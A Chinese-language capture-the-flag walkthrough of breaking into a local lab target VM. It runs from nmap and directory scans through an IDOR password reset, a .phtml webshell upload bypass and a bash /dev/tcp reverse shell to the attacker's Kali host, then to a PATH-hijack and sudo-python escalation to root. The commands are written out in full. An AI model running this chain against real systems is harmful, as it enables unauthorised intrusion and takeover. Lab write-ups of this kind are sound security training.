打开VMware启动靶机和我们的kali主机
使用kali的命令arpscan -l查看网段存活主机,发现192.168.13.146为我们的目标主机
使用nmap对146主机进行详细的嗅探,nmap -A 192.168.13.146 -p 0-10000。发现开启22端口和80端口。
访问80端口是一个界面,左上角有一个login,我们先对目标进行一个目录扫描
使用dirmap,python dirmap.py -i 192.168.13.146 -lcf
看的出来扫出来的东西不少,一个一个访问,第一个config目录里面有一个数据库文件,但是我们访问是空白的,应该是没有权限访问
第二个是login.php,是一个登录页面
然后是一个注册页面,最初的想法就是通过注册用户进去越权进入到admin界面,不然给你放一个注册页面干嘛
然后还有一个上传目录,里面有一张图片
可以把图片下载回来,说不定到时候有misc相关的文件分离之类的东西隐藏在里面
先对登录页面进行sql注入测试,python sqlmap.py -u "http://192.168.13.146/login.php" --batch --forms
但是报错了,尝试去注册账号,想注册一个admin账号,发现名字已经存在,说明管理员就是admin
注册进来了,但是里面除了修改密码什么功能点都没有,应该是通过越权修改admin的密码
通过修改密码使用bp抓包分析
我们将id改为1应该就是admin,现在重新登录账号admin,密码123,成功登录admin账户,发现多一个文件上传点
发现上传一个php返回的是只允许照片格式
查看了前端代码,不是前端校验,应该是后端校验,所以我们要选择方法绕过
先尝试通过后缀名绕过,php改成phtml就可以绕过了,phtml后缀也会被当作php文件解析的
文件上传成功
点击file跳转到我们的一句话木马文件解析
使用哥斯拉进行连接成功
进去之后直接反弹shell,bash -c 'bash -i >& /dev/tcp/192.168.13.128/4444 0>&1'
使用kali监听自己的4444端口
发现成功将shell弹到我们的kali上面了,写入交互式shell,python3 -c 'import pty;pty.spawn("/bin/bash")'
接下来进行提权,sudo -l不行,cat /etc/passwd | grep /bin/bash查看具有权限的用户发现了john
发现了toto具有/bin/bash权限
执行之后其作用是输出id
既然如此,我们能不能修改一下环境变量,让他执行id命令的时候打开一个john的bash:
echo "/bin/bash" > /tmp/id
chmod 777 /tmp/id
export PATH=/tmp:$PATH
./toto
成功切换到john用户下通过获取的密码root123然后sudo-l 获取到root权限的执行文件
在file.py里面写一段打开shell的代码,再以root的身份执行:
echo “import pty;pty.spawn(‘/bin/bash’)” > file.py
sudo python3 /home/john/file.py
成功获取到root权限,进入/root目录即可找到flag,当时手瓢多打了个分号进入quote模式了,懒得退出重来一遍了就没有截屏flag,渗透测试到此结束。
总结:
- 利用逻辑漏洞进行垂直越权
- Php后门后缀名绕过(phtml,php3,php5等)
- 让具有/bin/bash权限的文件执行多条命令弹回shell
- 利用python写入有权限的python文件执行命令